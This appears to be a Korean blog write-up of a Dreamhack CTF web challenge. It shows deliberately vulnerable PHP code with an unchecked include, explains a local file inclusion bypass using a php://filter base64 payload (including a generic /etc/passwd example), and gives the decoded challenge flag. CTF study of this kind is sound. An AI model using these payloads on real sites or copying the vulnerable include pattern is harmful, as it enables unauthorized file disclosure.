문제에서 주어진 코드는 php로 아래와 같이 4개의 파일이 존재한다.
index.php
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>PHP Back Office</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">PHP Back Office</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/?page=list">List</a></li>
<li><a href="/?page=view">View</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/>
<div class="container">
<?php
include $_GET['page']?$_GET['page'].'.php':'main.php';
?>
</div>
</body>
</html>
list.php
<h2>List</h2>
<?php
$directory = '../uploads/';
$scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
foreach ($scanned_directory as $key => $value) {
echo "<li><a href='/?page=view&file={$directory}{$value}'>".$value."</a></li><br/>";
}
?>
main.php
<h2>Back Office!</h2>
view.php
<h2>View</h2>
<pre><?php
$file = $_GET['file']?$_GET['file']:'';
if(preg_match('/flag|:/i', $file)){
exit('Permission denied');
}
echo file_get_contents($file);
?>
</pre>
list 페이지에 들어가면 위 그림과 같이 2개의 목록이 있다.
flag.php는 권한이 막혀있고 hello.json은 view 페이지로 이동하면서 출력된다. flag가 출력되지 않는 이유는 file=../uploads/flag.php에서 파일을 가져오는데 view 페이지에서 file에 flag라는 값이 있으면 Permission denied 문자열을 출력하고 종료되도록 설계되었다. 따라서 file이 아닌 page를 통해서 flag.php를 출력하면 되지 않을까? 라는 생각을 할 수 있다. flag.php 위치는 file=../uploads/flag이므로 보통 웹 서버의 디렉토리는 /var/www/html이므로 html에서 한번 뒤로 이동하며 /var/www이고 http://host1.dreamhack.games:17985/?page=/var/www/uploads/flag 주소로 이동하면 can you see $flag?라는 문자열이 출력된다. flag.php로는 플래그를 알 수 없고 flag.php안에 $flag라는 값을 찾아라는 의미로 해석된다.
file은 막혀있으므로 다른 방법을 사용해야하는데 PHP Wrapper라는 기능을 사용할 수 있습니다. 예시는 아래와 같습니다.
www.[희생자 사이트].index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd
위 예시를 참고하여 다음과 같은 주소로 접속합니다.
해당 주소로 이동하면 아래와 같은 base64 값이 출력되고 해당 값을 디코딩하면 정상적인 코드가 출력됩니다.
PD9waHAKCSRmbGFnID0gJ0RIe2JiOWRiMWYzMDNjYWNmMGYzYzkxZTBhYmNhMTIyMWZmfSc7Cj8+CmNhbiB5b3Ugc2VlICRmbGFnPw==
<?php
$flag = 'DH{bb9db1f303cacf0f3c91e0abca1221ff}';
?>
can you see $flag?
'웹 해킹 > 드림핵' 카테고리의 다른 글
[Dreamhack] simple-ssti (0) | 2021.07.20 |
---|---|
[Dreamhack] Mango (0) | 2021.07.18 |
[Dreamhack] pathtraversal (0) | 2021.07.16 |
[Dreamhack] proxy-1 (0) | 2021.07.16 |
[Dreamhack] csrf-1 (0) | 2021.07.15 |
댓글